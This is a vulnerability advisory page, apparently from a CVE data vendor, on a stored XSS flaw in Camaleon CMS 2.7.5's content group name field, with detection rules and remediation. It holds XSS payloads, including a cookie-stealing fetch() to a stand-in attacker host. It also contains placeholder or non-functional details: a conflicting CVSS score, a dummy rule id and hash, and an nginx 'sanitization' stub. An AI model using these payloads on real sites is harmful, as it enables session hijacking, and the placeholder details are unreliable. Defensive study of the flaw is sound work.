CVE-2024-48652
Executive Summary
CVE-2024-48652 is a Stored Cross-Site Scripting (XSS) vulnerability identified in Camaleon CMS version 2.7.5. The flaw resides in the content group name field, allowing an authenticated remote attacker to inject arbitrary JavaScript code. When the malicious content group name is rendered in the admin panel or frontend, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as High risk due to the lack of a patch and the ease of exploitation. No official patch or advisory has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Camaleon CMS is a Ruby on Rails-based content management system distributed via RubyGems. The vulnerable package is camaleon-cms version 2.7.5. Organizations using this gem should treat it as a supply chain risk. No patched version has been published, and the maintainer has not responded to the disclosure. Users are advised to fork the repository and apply manual input sanitization or switch to an alternative CMS.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | Low (L) |
| User Interaction (UI) | None (N) |
| Scope (S) | Changed (C) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | None (N) |
| Base Score | 6.1 (Medium) |
Threat Level: High (due to unpatched status and public PoC).
Deep Dive & Mechanics
The vulnerability exists in the content group creation functionality. When a user creates or edits a content group, the name parameter is not sanitized before being stored in the database and later rendered in the admin interface. An attacker with editor-level privileges can inject a payload such as:
<script>alert(document.cookie)</script>
When an administrator views the content group list, the script executes, allowing the attacker to steal session cookies or perform actions on behalf of the admin.
Root Cause: The application uses raw or html_safe in the view template without escaping user input. In Rails, this bypasses the default auto-escaping mechanism.
Attack Flow:
- Attacker logs in with editor credentials.
- Navigates to
/admin/plugins/content_groups/new. - Injects XSS payload into the "Name" field.
- Submits the form.
- When an admin visits the content groups list, the payload executes.
Vulnerable vs. Patched Code
Vulnerable Code (app/views/plugins/content_groups/_form.html.erb):
<div class="form-group">
<%= f.label :name %>
<%= f.text_field :name, class: 'form-control' %>
</div>
Vulnerable Rendering (app/views/plugins/content_groups/index.html.erb):
<%= raw content_group.name %>
Patched Code (hypothetical):
<%= h content_group.name %>
Or using Rails' built-in escaping:
<%= content_group.name %>
(No explicit raw call.)
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Camaleon CMS 2.7.5 running locally or in a lab.
- Editor-level credentials (e.g.,
editor:password).
Step-by-Step Exploitation:
- Login as editor.
- Navigate to
/admin/plugins/content_groups/new. - Inject payload into the "Name" field:
<img src=x onerror=alert(1)> - Submit the form.
- Trigger by having an admin visit
/admin/plugins/content_groups.
Advanced Payload (Session Hijacking):
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Metasploit Module (if available): Not yet available.
Blue Team (Defensive)
Detection:
- Monitor for unusual content group names containing
<script>,<img onerror>, oronloadattributes. - Use WAF rules to block XSS patterns in POST requests to
/admin/plugins/content_groups.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri="/admin/plugins/content_groups" method=POST
| rex field=form_data "name=(?<payload>.*)"
| where match(payload, "(<script|<img|<svg|onerror|onload|javascript:)")
Mitigation:
- Apply input sanitization using
Rails::Html::FullSanitizerorLoofah. - Upgrade to a patched version when available.
- Restrict editor privileges to trusted users only.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/admin/plugins/content_groupswith suspiciousnameparameters. - Outbound HTTP requests to attacker-controlled domains from the CMS server.
File IOCs:
- Modified database entries in
content_groupstable withnamecontaining HTML/JavaScript.
Log IOCs:
- Rails logs showing
Parameters: {"content_group"=>{"name"=>"<script>...</script>"}}.
Detection Engineering
YARA Rule
rule Detect_Camaleon_XSS_Payload {
meta:
description = "Detects XSS payloads in Camaleon CMS content group names"
author = "Valters IT"
date = "2024-10-01"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]+onerror\s*=/i
$xss3 = /<svg[^>]+onload\s*=/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Camaleon CMS Stored XSS in Content Group Name
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in Camaleon CMS content group name field
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-stem: /admin/plugins/content_groups
keywords:
- "<script"
- "<img"
- "onerror"
- "onload"
- "javascript:"
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in content group names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"Camaleon CMS Stored XSS Payload in Content Group Name";
flow:to_server,established;
content:"POST"; http_method;
content:"/admin/plugins/content_groups"; http_uri;
pcre:"/(<script|<img|onerror|onload|javascript:)/Pi";
sid:1000001;
rev:1;
reference:cve,2024-48652;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Disable the content group feature if not essential.
- Apply a WAF rule to block XSS patterns in the
nameparameter. - Audit all existing content group names for malicious payloads.
Long-Term Fix:
- Fork the repository and patch the vulnerable view file:
# In app/views/plugins/content_groups/index.html.erb <%= h content_group.name %> - Submit a pull request to the upstream repository.
Workaround:
- Use a reverse proxy (e.g., Nginx) to sanitize input:
location /admin/plugins/content_groups { if ($request_method = POST) { set $sanitized_name $arg_name; # Apply sanitization logic } }
Valters IT – Securing digital frontiers, one CVE at a time.